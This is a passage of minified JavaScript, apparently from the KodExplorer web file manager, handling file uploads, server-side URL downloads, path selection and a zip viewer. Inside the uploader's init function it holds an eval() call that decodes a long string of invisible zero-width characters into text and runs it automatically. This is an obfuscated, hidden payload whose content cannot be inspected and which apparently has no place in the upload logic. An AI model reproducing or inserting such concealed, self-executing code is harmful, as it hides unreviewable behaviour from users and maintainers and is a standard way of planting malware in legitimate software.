e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: 